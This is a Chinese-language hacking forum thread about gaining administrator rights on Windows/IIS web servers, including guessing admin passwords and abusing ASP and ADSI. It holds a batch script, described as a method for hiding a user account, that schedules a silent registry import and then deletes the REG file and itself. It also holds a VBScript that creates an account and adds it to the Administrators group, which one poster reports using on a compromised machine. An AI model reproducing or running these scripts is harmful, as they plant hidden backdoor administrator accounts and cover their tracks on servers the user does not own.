这样倒不如直接猜管理员的密码。
我那次就成功了。呵呵，乐坏我了~~~

请问可以在这里讨论批处理的问题吗?

最近我想利用批处理来做一个自动生成REG文件,但出了问题:

@for /f "tokens=1,2 delims=:" %%a in ('time /t') do @set hh=%%a&&@set mi=%%b
@if %mi%==59 goto a
@set /a hh1=%hh%
@set /a mi1=%mi%+1
@goto b
:a
@set /a hh1=%hh%+1
@set /a mi1=0
:b
@at %hh1%:%mi1% "regedit /s rjh.reg"
@if %mi%==59 goto c
@if %mi%==58 goto d
@set /a hh2=%hh%
@set /a mi2=%mi%+2
:d
@set /a hh2=%hh%+1
@set /a mi2=0
:c
@set /a hh2=%hh%+1
@set /a mi2=1
@at %hh2%:%mi2% del "rjh.reg /f /q"
@del rjh.bat /f /q


不知道错在哪儿,请各位帮一下忙好吗?


编写隐藏用户的批处理思路:



前期准备(比如:生成REG文件)
for /f "tokens=1,2 delims=:" %%a in ('time /t') do @set hh=%%a&&@set mi=%%b
if %mi%==59 goto a
set /a hh1=%hh%
set /a mi1=%mi%+1
goto b
:a
set /a hh1=%hh%+1
set /a mi1=0
set /a flag1="tru"
:b
at %hh1%:%mi1% "regedit /s 要导入的REG文件"
if %flag1%=="tru" goto c
if %mi%==58 goto d
set /a hh2=%hh%
set /a mi2=%mi%+2
:d
set /a hh2=%hh%+1
set /a mi2=0
:c
set /a hh2=%hh%+1
set /a mi2=1
at %hh2%:%mi2% "del 要导入的REG文件"
del 本批处理文件




作者:Adly
QQ:369046978
2005年12月17日

我想问执行代码的权限是什么？
上面说的不和常理！
ASP的权限要是能添加administrator的话，我想就不用提权了！

总之偶没成功过，像楼上兄弟说的，都可以中彩票了。。

我前面提到操作这样的ADSI接口.需要有administrator权限
是否这样就绝对不能利用那.
当然也不是.
因为ADSI同样可以用来操作IIS
所以有个别虚拟主机管理系统因为水平有限.不能做成service或者activex dll
所以直接使用asp来操作IIS
这样他的管理界面的iis实例使用的就是administrator权限了
当然这样的系统我见过.不过不清楚使用人数的多少.因为成熟产品不会用这种手段,这样的系统基本是个人写的.

我想.除非是管理员运行IIS的用户的权限不小心加入了管理员组的时候才能成功吧...

代码忘了抄谁的了  今天搞了机子 不知道是把net.exe 删了还是咋的 加不上用户
所以 就想起这个办法  用楼主的那个vbs 成功了 我用这不成功不知道为什么

复制内容到剪贴板

代码:

echo struser=wscript.arguments(0)
strpass=wscript.arguments(1)
set lp=createObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user",struser)
od.SetPassword strpass
od.SetInfo
Set of=GetObject(oz&"/" & struser & ",user")
oe.Add(of.ADsPath)
For Each admin in oe.Members
if struser=admin.Name then
Wscript.echo struser & " 建立成功!"
wscript.quit
end if
Next
Wscript.echo struser & " 用户建立失败!"

将这些代码写入到v.vbs
然后执行cscript v.vbs skylove password

好是找漏洞,用dos命令更实在......

IUSER默认作为guests组成员，能加管理员纯属扯淡，
你成功了的唯一理由就是：原来这台机器被红色代码之类的攻击过，将IUSER升成了administrators